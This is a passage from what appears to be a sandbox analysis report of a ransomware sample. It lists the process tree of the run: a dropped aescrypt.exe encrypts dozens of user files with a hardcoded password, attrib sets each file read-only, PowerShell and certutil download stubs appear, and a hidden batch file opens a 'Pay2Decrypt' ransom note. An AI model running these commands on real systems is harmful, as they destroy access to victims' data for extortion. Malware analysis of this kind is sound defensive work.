    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "UndoPush.cab.lck" "UndoPush.cab"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1616
- - C:\Windows\system32\attrib.exe
    attrib +r "UndoPush.cab.lck"
    3⤵
    - Views/modifies file attributes
    PID:1352
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "MountLock.mpp.lck" "MountLock.mpp"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1832
- - C:\Windows\system32\attrib.exe
    attrib +r "MountLock.mpp.lck"
    3⤵
    - Views/modifies file attributes
    PID:1840
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ReceiveConnect.M2T.lck" "ReceiveConnect.M2T"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:616
- - C:\Windows\system32\attrib.exe
    attrib +r "ReceiveConnect.M2T.lck"
    3⤵
    PID:1032
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "BlockEnter.xps.lck" "BlockEnter.xps"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1056
- - C:\Windows\system32\attrib.exe
    attrib +r "BlockEnter.xps.lck"
    3⤵
    - Views/modifies file attributes
    PID:620
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "DismountMeasure.css.lck" "DismountMeasure.css"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:680
- - C:\Windows\system32\attrib.exe
    attrib +r "DismountMeasure.css.lck"
    3⤵
    PID:1884
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ReadRedo.vbe.lck" "ReadRedo.vbe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1604
- - C:\Windows\system32\attrib.exe
    attrib +r "ReadRedo.vbe.lck"
    3⤵
    PID:1876
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "EditDebug.fon.lck" "EditDebug.fon"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:740
- - C:\Windows\system32\attrib.exe
    attrib +r "EditDebug.fon.lck"
    3⤵
    PID:1172
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ClearExit.cfg.lck" "ClearExit.cfg"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1344
- - C:\Windows\system32\attrib.exe
    attrib +r "ClearExit.cfg.lck"
    3⤵
    - Views/modifies file attributes
    PID:1348
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "StopSelect.dotx.lck" "StopSelect.dotx"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1500
- - C:\Windows\system32\attrib.exe
    attrib +r "StopSelect.dotx.lck"
    3⤵
    PID:280
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "StartInitialize.png.lck" "StartInitialize.png"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1396
- - C:\Windows\system32\attrib.exe
    attrib +r "StartInitialize.png.lck"
    3⤵
    PID:1716
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ShowSearch.gif.lck" "ShowSearch.gif"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1380
- - C:\Windows\system32\attrib.exe
    attrib +r "ShowSearch.gif.lck"
    3⤵
    PID:1560
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ConnectMove.emf.lck" "ConnectMove.emf"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2032
- - C:\Windows\system32\attrib.exe
    attrib +r "ConnectMove.emf.lck"
    3⤵
    PID:1860
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "BackupExit.gif.lck" "BackupExit.gif"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1496
- - C:\Windows\system32\attrib.exe
    attrib +r "BackupExit.gif.lck"
    3⤵
    PID:1884
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "InstallLock.xps.lck" "InstallLock.xps"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:520
- - C:\Windows\system32\attrib.exe
    attrib +r "InstallLock.xps.lck"
    3⤵
    - Views/modifies file attributes
    PID:816
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "RestartSearch.bmp.lck" "RestartSearch.bmp"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1036
- - C:\Windows\system32\attrib.exe
    attrib +r "RestartSearch.bmp.lck"
    3⤵
    PID:956
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "UnblockSearch.svg.lck" "UnblockSearch.svg"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2016
- - C:\Windows\system32\attrib.exe
    attrib +r "UnblockSearch.svg.lck"
    3⤵
    - Views/modifies file attributes
    PID:916
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ConfirmAdd.jpeg.lck" "ConfirmAdd.jpeg"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1344
- - C:\Windows\system32\attrib.exe
    attrib +r "ConfirmAdd.jpeg.lck"
    3⤵
    PID:1348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /aD /b /oS
    3⤵
    PID:1668
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -c (new-object System.Net.WebClient).DownloadFile('','')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1500
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -c Invoke-WebRequest -Uri -OutFile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:960
- - C:\Windows\system32\certutil.exe
    certutil -urlcache -split -f
    3⤵
    PID:1604
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe start-process -FilePath "C:\Windows\System32\cmd.exe" -ArgumentList "/k","call","C:\Users\Admin\Desktop\p2d.bat" -WorkingDirectory "C:\Users\Admin\Desktop" -WindowStyle hidden
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:740
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k call C:\Users\Admin\Desktop\p2d.bat
      4⤵
      PID:1976
    - - C:\Windows\system32\NOTEPAD.EXE
        
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Pay2Decrypt1.txt
        5⤵
        Opens file in notepad (likely ransom note)
        
        PID:560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1388
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ntuser.dat.LOG2.lck" "ntuser.dat.LOG2"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:316
- - C:\Windows\system32\attrib.exe
    attrib +r "ntuser.dat.LOG2.lck"
    3⤵
    - Views/modifies file attributes
    PID:1500
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ntuser.ini.lck" "ntuser.ini"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:204
- - C:\Windows\system32\attrib.exe
    attrib +r "ntuser.ini.lck"
    3⤵
    PID:1032
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "deployment.properties.lck" "deployment.properties"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1860
- - C:\Windows\system32\attrib.exe
    attrib +r "deployment.properties.lck"
    3⤵
    PID:1916
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.lck" "NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1840
- - C:\Windows\system32\attrib.exe
    attrib +r "NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.lck"
    3⤵
    - Views/modifies file attributes
    PID:1120
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ntuser.dat.LOG1.lck" "ntuser.dat.LOG1"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1512
- - C:\Windows\system32\attrib.exe
    attrib +r "ntuser.dat.LOG1.lck"
    3⤵
    PID:908
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.lck" "NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1884
- - C:\Windows\system32\attrib.exe
    attrib +r "NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.lck"
    3⤵
    - Views/modifies file attributes
    PID:1672
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.lck" "NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1576
- - C:\Windows\system32\attrib.exe
    attrib +r "NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.lck"
    3⤵
    - Views/modifies file attributes
    PID:940
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "NTUSER.DAT.lck" "NTUSER.DAT"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1056
- - C:\Windows\system32\attrib.exe
    attrib +r "NTUSER.DAT.lck"
    3⤵
    PID:2004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /aD /b /oS
    3⤵
    PID:960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1036
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ntuser.dat.LOG2.lck" "ntuser.dat.LOG2"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1876
- - C:\Windows\system32\attrib.exe
    attrib +r "ntuser.dat.LOG2.lck"
    3⤵
    PID:208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1320
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "desktop.ini.lck" "desktop.ini"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:224
- - C:\Windows\system32\attrib.exe
    attrib +r "desktop.ini.lck"
    3⤵
    PID:428
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "Admin.contact.lck" "Admin.contact"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:916
- - C:\Windows\system32\attrib.exe
    attrib +r "Admin.contact.lck"
    3⤵
    PID:1396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:560
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "Pay2Decrypt54.txt.lck" "Pay2Decrypt54.txt"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1044
- - C:\Windows\system32\attrib.exe
    attrib +r "Pay2Decrypt54.txt.lck"
    3⤵
    - Views/modifies file attributes
    PID:1996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
    3⤵
    PID:1172
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "desktop.ini.lck" "desktop.ini"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:956
- - C:\Windows\system32\attrib.exe
    attrib +r "desktop.ini.lck"
    3⤵
    PID:1328
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "These.docx.lck" "These.docx"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2000
- - C:\Windows\system32\attrib.exe
    attrib +r "These.docx.lck"
    3⤵
    PID:616
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "Are.docx.lck" "Are.docx"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:620
- - C:\Windows\system32\attrib.exe
    attrib +r "Are.docx.lck"
    3⤵
    PID:1100
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "Recently.docx.lck" "Recently.docx"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:220
- - C:\Windows\system32\attrib.exe
    attrib +r "Recently.docx.lck"
    3⤵
    PID:1272
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "Opened.docx.lck" "Opened.docx"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1352
- - C:\Windows\system32\attrib.exe
    attrib +r "Opened.docx.lck"
    3⤵
    PID:1832
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "Files.docx.lck" "Files.docx"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1620
- - C:\Windows\system32\attrib.exe
    attrib +r "Files.docx.lck"
    3⤵
    PID:1496
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "DebugRestart.dot.lck" "DebugRestart.dot"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1652
- - C:\Windows\system32\attrib.exe
    attrib +r "DebugRestart.dot.lck"
    3⤵
    - Views/modifies file attributes
    PID:1028
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "UnprotectSend.dotm.lck" "UnprotectSend.dotm"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:680
- - C:\Windows\system32\attrib.exe
    attrib +r "UnprotectSend.dotm.lck"
    3⤵
    PID:1072
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "UnprotectConnect.rtf.lck" "UnprotectConnect.rtf"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1732
- - C:\Windows\system32\attrib.exe
    attrib +r "UnprotectConnect.rtf.lck"
    3⤵
    PID:2032
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ProtectInitialize.pptm.lck" "ProtectInitialize.pptm"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:520
- - C:\Windows\system32\attrib.exe
    attrib +r "ProtectInitialize.pptm.lck"
    3⤵
    PID:1540
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "AddInvoke.docm.lck" "AddInvoke.docm"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:816
- - C:\Windows\system32\attrib.exe
    attrib +r "AddInvoke.docm.lck"
    3⤵
    - Views/modifies file attributes
    PID:936
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "RedoConnect.html.lck" "RedoConnect.html"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1604
- - C:\Windows\system32\attrib.exe
    attrib +r "RedoConnect.html.lck"
    3⤵
    PID:1020
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "SendUnlock.xps.lck" "SendUnlock.xps"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1344
- - C:\Windows\system32\attrib.exe
    attrib +r "SendUnlock.xps.lck"
    3⤵
    PID:1348
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "ConfirmRestart.vsx.lck" "ConfirmRestart.vsx"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1616
- - C:\Windows\system32\attrib.exe
    attrib +r "ConfirmRestart.vsx.lck"
    3⤵
    PID:1924
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "RevokeEdit.pub.lck" "RevokeEdit.pub"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2028
- - C:\Windows\system32\attrib.exe
    attrib +r "RevokeEdit.pub.lck"
    3⤵
    PID:1560
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "NewMeasure.vdx.lck" "NewMeasure.vdx"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:956
- - C:\Windows\system32\attrib.exe
    attrib +r "NewMeasure.vdx.lck"
    3⤵
    PID:1328
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "UnblockUninstall.pdf.lck" "UnblockUninstall.pdf"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2000
- - C:\Windows\system32\attrib.exe
    attrib +r "UnblockUninstall.pdf.lck"
    3⤵
    PID:204
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "TestDismount.vsw.lck" "TestDismount.vsw"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1032
- - C:\Windows\system32\attrib.exe
    attrib +r "TestDismount.vsw.lck"
    3⤵
    - Views/modifies file attributes
    PID:1860
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "InvokeFind.xlt.lck" "InvokeFind.xlt"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1916
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "InvokeCompress.pptx.lck" "InvokeCompress.pptx"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1120
- - C:\Windows\system32\attrib.exe
    attrib +r "InvokeFind.xlt.lck"
    3⤵
    - Views/modifies file attributes
    PID:1840
- - C:\Windows\system32\attrib.exe
    attrib +r "InvokeCompress.pptx.lck"
    3⤵
    PID:1512
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "SearchRemove.docm.lck" "SearchRemove.docm"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:908
- - C:\Windows\system32\attrib.exe
    attrib +r "SearchRemove.docm.lck"
    3⤵
    PID:1884
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "InitializeEdit.vdx.lck" "InitializeEdit.vdx"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1672
- - C:\Windows\system32\attrib.exe
    attrib +r "InitializeEdit.vdx.lck"
    3⤵
    PID:1576
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
    "C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe" -e -p kpviaR0Bgl7Jk1s8aKoL4Y9RMkc0HFsh -o "RequestExport.vsd.lck" "RequestExport.vsd"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:940
- - C:\Windows\system32\attrib.exe
    attrib +r "RequestExport.vsd.lck"
    3⤵
    - Views/modifies file attributes
    PID:1056
- - C:\Users\Admin\AppData\Local\Temp\50AF.tmp\aescrypt.exe
